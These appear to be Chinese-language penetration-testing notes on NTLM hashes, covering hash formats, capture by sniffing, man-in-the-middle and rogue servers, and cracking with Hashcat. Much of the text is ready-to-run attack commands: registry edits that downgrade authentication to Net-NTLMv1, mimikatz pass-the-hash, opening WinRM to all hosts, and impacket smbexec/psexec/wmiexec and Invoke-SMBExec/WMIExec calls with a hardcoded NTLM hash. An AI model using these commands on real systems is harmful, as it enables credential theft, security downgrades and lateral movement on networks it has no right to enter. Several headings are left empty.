LM Hash与NT Hash,密码根据固定算法转成的两种Hash,LM Hash更容易被破解
NTLM Hash = LM Hash + NT Hash,也有的会把NTLM Hash等同于NT Hash
其中NT Lan Manager有两个版本:Net-NTLMv1,Net-NTLMv2。这三个都属于认证协议,都是基于challenge/reponse的,但是用的Client Hash及对challenge加密方法不同。
在NT Lan Manager中,客户端最后给服务器的响应,称为Net-NTLMv1 Hash及Net-NTLMv2 Hash。
Lan Manager: 使用LM Hash
Net-NTLMv1: 使用LM Hash和NT Hash
//Net-NTLMv1 Hash格式
username::hostname:LM response:NTLM response:challenge
Net-NTLMv2: 使用NT Hash
//Net-NLTMv2 Hash格式
username::domain:challenge:HMAC-MD5:blob
工作组环境:
域环境:
如果空密码或者不储蓄LM Hash的话,抓到的LM Hash是AAD3B435B51404EEAAD3B435B51404EE
,这里的LM Hash值没有意义。
Hashcat支持超过200种高度优化的hash算法,其中和NTLM hash相关的有4个,分别为NetNTLMv1、NetNTLMv1+ESS、NetNTLMv2和NTLM。
username::hostname:LM response:NTLM response:challenge
username::domain:challenge:HMAC-MD5:blob
- 同一网络内嗅探
- 中间人攻击
- 伪造服务器诱使用户输入凭据,在服务端收取Net-NTLM Hash
工具:
https://github.com/lgandx/Responder
https://github.com/Kevin-Robertson/Inveigh
感觉不是每次都能抓到...
如果获得了内网一个文件服务器的权限,那么内网中的其他主机在使用界面尝试访问该服务器时,首先会将本机的密码Hash发送至服务器进行验证,在服务器端抓取数据包能够获得NTLM Response,对NTLM Response的格式进行解析,提取特定信息,使用Hashcat尝试字典破解或者暴力破解,就有可能还原出用户本机的明文口令
netsh trace start capture=yes persistent=yes traceFile="c:\\test\\snmp1.etl" overwrite=yes correlation=no protocol=tcp ipv4.address=192.168.62.130 keywords=ut:authentication
Netsh trace stop
使用netsh抓包,得到 .etl 文件 -> windows message analyzer将其转换成.cap格式 -> wireshark 将其转为.pcap格式 -> python scapy模块自动解析数据包,提取NTLM Respnse。
Net-NTLMv2 Hash暴力破解和字典破解难度比较高,如果有管理员权限,可将Lan Manager身份验证级别由Net-NTLMv2降为Net-NTLMv1
修改注册表:
reg add HKLM\SYSTEM\CurrentControlSet\Control\Lsa\ /v lmcompatibilitylevel /t REG_DWORD /d 2 /f reg add HKLM\SYSTEM\CurrentControlSet\Control\Lsa\MSV1_0\ /v NtlmMinClientSec /t REG_DWORD /d 536870912 /f reg add HKLM\SYSTEM\CurrentControlSet\Control\Lsa\MSV1_0\ /v RestrictSendingNTLMTraffic /t REG_DWORD /d 0 /f
实现工具:https://github.com/eladshamir/Internal-Monologue
需要攻击使用了NTLM认证的服务
mimikatz
privilege::debug
sekurlsa::pth /user:dell /domain:ring2.com /ntlm:B9E0CFCEAF6D077970306A2FD88A7C0A /run:powershell.exe
Set-Item WSMan:\localhost\Client\TrustedHosts -Value * -Force
Restart-Service WinRM
Enter-PSSession -ComputerName win10-pc3
创建定时任务来执行命令,at 命令或schtasks命令,启动的子进程是System权限
PS C:\Windows\system32> at \\192.168.240.128 4:37PM C:\Windows\System32\calc.exe
AT 命令已弃用。请改用 schtasks.exe。
新加了一项作业,其作业 ID = 3
smbexec.py
smbexec.py -hashes :B9E0CFCEAF6D077970306A2FD88A7C0A ./[email protected] -debug
psexec.py
psexec.py -hashes :B9E0CFCEAF6D077970306A2FD88A7C0A ./[email protected] -debug
Invoke-SMBExec.ps1
Invoke-SMBExec -Target #{host_ip} -Username "#{host_username}" -Hash B9E0CFCEAF6D077970306A2FD88A7C0A -Command "powershell.exe -c sleep 10;stop-process $pid -Force;" -Verbose;
wmiexec.py
wmiexec.py -hashes :B9E0CFCEAF6D077970306A2FD88A7C0A [email protected] -debug
Invoke-WMIExec.ps1
Invoke-WMIExec -Target #{host_ip} -Username "#{host_username}" -Hash B9E0CFCEAF6D077970306A2FD88A7C0A -Command "powershell.exe -c sleep 10;stop-process $pid -Force;" -Verbose;